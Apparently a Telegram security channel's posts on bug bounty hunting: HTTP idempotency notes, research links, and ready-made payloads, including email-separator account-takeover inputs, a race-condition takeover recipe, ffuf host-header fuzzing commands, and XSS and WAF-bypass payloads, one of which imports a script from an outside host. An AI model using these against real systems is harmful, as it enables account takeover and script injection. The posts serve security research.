سلام دوستان امیدوارم حال همگی خوب و عالی باشه
من از همه عذرخواهی میکنم به علت کسالت و وضعیت افتضاح اینترنت لایو امروز در مورد باج افزار ها برگزار نمیشود و زمان جدید لایو متعاقبا اعلام خواهد شد تو این اوضاع هم بیشتر مراقب خودتون و خانوادتون باشید مجددا شرمسارم و برای همتون آرزوی سلامتی دارم 🙏

ملاحظات کلیدی HTTP/1.1 (Idempotency، Pipelining، Retry و TCP Close)

در HTTP/1.1 مفهوم Idempotency نقش محوری در طراحی امن کلاینت‌ها و API ها دارد یک درخواست Idempotent در صورت اجرای چند باره وضعیت نهایی سیستم را تغییر نمیدهد. متدهای GET، HEAD، PUT، DELETE، OPTIONS و TRACE در این دسته قرار می‌گیرند، در حالی که POST ذاتاا Non-Idempotent است و تکرار آن می‌تواند منجر به ایجاد چند باره منبع، ثبت تراکنش تکراری یا تغییرات غیرقابل بازگشت شود که threat modeling میشه Race-Condition

به همین دلیل، اگرچه HTTP/1.1 از Request Pipelining پشتیبانی می‌کند، این قابلیت فقط برای درخواست‌های Idempotent (خودتوان) ایمن است
در Pipelining، چند درخواست بدون انتظار برای پاسخ قبلی ارسال می‌شوند. اگر Transport Connection پیش از دریافت پاسخ قطع شود، کلاینت نمی‌تواند تشخیص دهد که یک درخواست Non-Idempotent اجرا شده، اجرا نشده یا به‌صورت ناقص اجرا شده است. تکرار چنین درخواستی می‌تواند باعث Double Charge، Duplicate Order یا Data Corruption شود (Race-Condition Exploit) بنابراین درخواست ‌های Non-Idempotent مانند POST نباید Pipeline شوند

همین منطق در مورد Retry نیز صادق است. در صورت قطع ناگهانی اتصال، درخواست‌های Idempotent می‌توانند به‌ طور خودکار دوباره ارسال شوند، اما Non-Idempotent Request ها نباید Auto-Retry شوند. به همین علت User Agent ها تصمیم به تکرار POST را به کاربر انسانی واگذار می‌کنند؛ نمونه شناخته ‌شده آن هشدار مرورگر هنگام Refresh صفحه‌ای است که با POST ایجاد شده است.

در سطح پایین‌تر، موضوع Graceful Connection Close در TCP مطرح می‌ شود. اتصال TCP دوطرفه است و شامل کانال ارسال و دریافت مستقل است. فراخوانی close() هر دو کانال را می بندد (Full Close)، اما با shutdown() می‌توان فقط یکی از کانال ‌ها را بست (Half Close)
الگوی رایج این است که کلاینت پس از پایان ارسال درخواست، کانال خروجی را می‌ بندد ولی کانال ورودی را برای دریافت پاسخ کامل باز نگه می‌دارد. پیاده‌ سازی نادرست این رفتار می‌تواند باعث پاسخ ناقص، وضعیت نامشخص درخواست و تکرار ناخواسته عملیات شود.

جمع‌بندی: POST یک متد Non-Idempotent است، نباید Pipeline یا Auto-Retry شود، قطع ناگهانی TCP منبع رایج Race Condition و Logic Bug است، و مدیریت نادرست Half/Full Close می‌تواند به تکرار تراکنش یا خرابی وضعیت منجر شود. این‌ ها دقیقا همان نقاطی هستند که در پیاده‌سازی‌های ضعیف API و Proxy ها باگ‌ های سطح بالا از آن‌ها استخراج می‌شود

⭐️ @RadvanSec

CVE-2025-6023

Grafana Bypass :
https://blog.ethiack.com/blog/grafana-cve-2025-6023-bypass-a-technical-deep-dive

⭐️ @RadvanSec

https://lab.ctbb.show/research/stopping-redirects

⭐️ @RadvanSec

Happy New Year 🎉🥳

اختلال شدید اینترنت 👎

⭐️ @RadvanSec

PDF generatorlarında SSRF

https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators

⭐️ @RadvanSec

پدر یعنی:


ستونِ اطمینان؛
پناهی استوارکه تکیه می‌کنی
و هیچ هراسی از فرو ریختن نداری.



روز پدر بر همه‌ی پدران زحمت‌کش و فداکار مبارک باد.

📉آخرین وضعیت اینترنت در ایران که طبق گزارش آماری کلادفلر با ۳۵ درصد کاهش حجم ترافیک از حالت نرمال همراه بوده...🤦‍♂

عجب گیری کردیما😒

Yet another Account Takeover technique.✨

Seperator:
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

Array:
{"email":["victim@mail.com","hacker@mail.com"]}

#infosec #CyberSec #bugbountytips

⭐️ @RadvanSec

Race Condition to Account Takeover

1. User changes email:
POST /change-email → email=x@x(.com

2. Server sends confirmation link, but updates email before verification.

3. Attacker races the victim by claiming password reset for x@x(.com

⭐️ @RadvanSec

#Bugbountytips #BugBounty #CyberSecurity #infosec
#RadvanSec

Sharing my Burp Extension that earned me $200k in 2025 while API testing heavy JS-rich targets.

https://github.com/jenish-sojitra/JSAnalyzer

The tool helps find endpoints, files, internal emails, and some secrets from minified JS.

Its goal is to achieve maximum efficiency with reduced noise in results. Contributions and feedbacks are welcome.

⭐️ @RadvanSec

🔎 #BugBountyTip Advanced Fuzzing Techniques Most Hunters Miss

0) Setup variables (optional)

DOMAIN="company.com"
ORIGIN="company.com" # or https://<cdn-origin> or https://<ip>
WL="words.txt"
HY="hybrid.txt"

1) Direct subdomain fuzz (fast check)

Works when DNS resolves the hostnames.

ffuf -w "$WL" -u "https://FUZZ.$DOMAIN/" -t 200 -mc 200,301,302,401,403 -fs 0 -ac

2) VHOST / Host-header fuzz (CDN / reverse proxy routing)

When wildcard DNS isn’t visible but routing exists.

ffuf -w "$WL" -u "$ORIGIN" -H "Host: FUZZ.$DOMAIN" -t 300 -mc 200,301,302,401,403 -fs 0 -ac

Save results (JSON)

ffuf -w "$WL" -u "$ORIGIN" -H "Host: FUZZ.$DOMAIN" -t 300 -mc 200,301,302,401,403 -fs 0 -of json -o vhost_fuzz.json -ac

3) Hyphenated hosts

ffuf -w "$WL" -u "$ORIGIN" -H "Host: FUZZ-$DOMAIN" -t 250 -mc 200,301,302,401,403 -fs 0 -ac

4) Suffix & prefix environment tags

FUZZ-test.company.com

ffuf -w "$WL" -u "$ORIGIN" -H "Host: FUZZ-test.$DOMAIN" -t 250 -mc 200,301,302,401,403 -fs 0 -ac

test-FUZZ.company.com

ffuf -w "$WL" -u "$ORIGIN" -H "Host: test-FUZZ.$DOMAIN" -t 250 -mc 200,301,302,401,403 -fs 0 -ac

FUZZ.stage.company.com

ffuf -w "$WL" -u "$ORIGIN" -H "Host: FUZZ.stage.$DOMAIN" -t 250 -mc 200,301,302,401,403 -fs 0 -ac

stage-FUZZ.company.com

ffuf -w "$WL" -u "$ORIGIN" -H "Host: stage-FUZZ.$DOMAIN" -t 250 -mc 200,301,302,401,403 -fs 0 -ac

5) WWW namespace exploitation (🔥)

FUZZwww.company.com

ffuf -w "$HY" -u "$ORIGIN" -H "Host: FUZZwww.$DOMAIN" -t 350 -mc 200,301,302,401,403 -fs 0 -ac

wwwFUZZ.company.com

ffuf -w "$HY" -u "$ORIGIN" -H "Host: wwwFUZZ.$DOMAIN" -t 350 -mc 200,301,302,401,403 -fs 0 -ac

wwFUZZ.company.com

ffuf -w "$HY" -u "$ORIGIN" -H "Host: wwFUZZ.$DOMAIN" -t 350 -mc 200,301,302,401,403 -fs 0 -ac

FUZZww.company.com

ffuf -w "$HY" -u "$ORIGIN" -H "Host: FUZZww.$DOMAIN" -t 350 -mc 200,301,302,401,403 -fs 0 -ac

6) Numeric drift (use a numbers list)

Create a quick numbers list:

seq -w 0 500 > nums.txt

025www.company.com style

ffuf -w nums.txt -u "$ORIGIN" -H "Host: FUZZwww.$DOMAIN" -t 350 -mc 200,301,302,401,403 -fs 0 -ac

www02.company.com style

ffuf -w nums.txt -u "$ORIGIN" -H "Host: wwwFUZZ.$DOMAIN" -t 350 -mc 200,301,302,401,403 -fs 0 -ac

www-03.company.com style

ffuf -w nums.txt -u "$ORIGIN" -H "Host: www-FUZZ.$DOMAIN" -t 300 -mc 200,301,302,401,403 -fs 0 -ac

03-www.company.com style

ffuf -w nums.txt -u "$ORIGIN" -H "Host: FUZZ-www.$DOMAIN" -t 300 -mc 200,301,302,401,403 -fs 0 -ac

7) Separator drift (dot / hyphen / underscore / none)

underscore in DNS labels is uncommon but shows up in some internal/service records; test where allowed.

ffuf -w "$WL" -u "$ORIGIN" -H "Host: www-FUZZ.$DOMAIN" -t 250 -mc 200,301,302,401,403 -fs 0 -ac

ffuf -w "$WL" -u "$ORIGIN" -H "Host: www_FUZZ.$DOMAIN" -t 250 -mc 200,301,302,401,403 -fs 0 -ac

ffuf -w "$WL" -u "$ORIGIN" -H "Host: wwwFUZZ.$DOMAIN" -t 250 -mc 200,301,302,401,403 -fs 0 -ac

8) Token fusion (role bleeding)

Use a curated list roles.txt like: api auth cdn static sso id app admin internal edge

ffuf -w roles.txt -u "$ORIGIN" -H "Host: wwwFUZZ.$DOMAIN" -t 250 -mc 200,301,302,401,403 -fs 0 -ac

ffuf -w roles.txt -u "$ORIGIN" -H "Host: FUZZwww.$DOMAIN" -t 250 -mc 200,301,302,401,403 -fs 0 -ac

9) Third-party / vendor overlay

vendors.txt: jira confluence grafana kibana sentry datadog okta zendesk status

ffuf -w vendors.txt -u "$ORIGIN" -H "Host: FUZZ.$DOMAIN" -t 200 -mc 200,301,302,401,403 -fs 0 -ac

ffuf -w vendors.txt -u "$ORIGIN" -H "Host: wwwFUZZ.$DOMAIN" -t 250 -mc 200,301,302,401,403 -fs 0 -ac

10) Endpoint fuzzing (same mindset, different surface)

ffuf -w endpoints.txt -u "$ORIGIN/FUZZ" -t 200 -mc 200,204,301,302,401,403 -fc 404 -fs 0 -ac

With extensions

ffuf -w endpoints.txt -u "$ORIGIN/FUZZ" -e .php,.asp,.aspx,.jsp,.json,.txt,.bak,.zip -t 200 -mc 200,301,302,401,403 -fc 404 -fs 0 -ac

⭐️ @RadvanSec

با عرض سلام خدمت همه‌ی عزیزان

علیرغم وجود اسکم‌ها و مشکلات متعدد در برخی برنامه‌های باگ‌بانتی ایرانی و خارجی، تصمیم گرفتم این کانال رو راه‌اندازی کنم تا بتونیم تجربه‌های واقعی بچه های امنیت کار رو از همکاری با این برنامه‌ها در یکجا جمع‌آوری کنم.

هدف من و ادمین های عزیز اینه که بعد از بررسی و اطمینان از صحت گزارش‌ها، اون‌ها رو در اختیار عموم قرار بدیم تا سایر دوستان وقت، انرژی و تخصصشون رو بی‌دلیل تلف نکنن و بتونن آگاهانه‌تر وارد این حوزه یا کار روی برنامه خاصی بشن .

این کانال متعلق به همه‌ی شماست — جایی برای شفافیت، تجربه‌محوری و حمایت از جامعه امنیتی کشور. ⚡️

https://news.1rj.ru/str/bugbountyfeedback

Found an XSS bypass during a bug bounty:
Backend was only stripping quotes ("), so payload like:

<s"vg o"nload=al"ert() />

turns into a valid:

<noscript onload=alert()>

🚨 Never rely on poor input filtering!

#BugBounty #CyberSecurity

⭐️ @RadvanSec

https://portswigger.net/research/top-10-web-hacking-techniques-of-2025-nominations-open

⭐️ @RadvanSec

#Bypass Imperva, Akamai and CloudFlare WAF

=> Prepend with 50 chars then use

1"><A HRef=%26quot AutoFocus OnFocus%0C={import(/https:X55.is/.source)}>

PoC: x55.is/brutelogic/xss…

⭐️ @RadvanSec

روزهای خیلی خوبی میاد … شک نکنید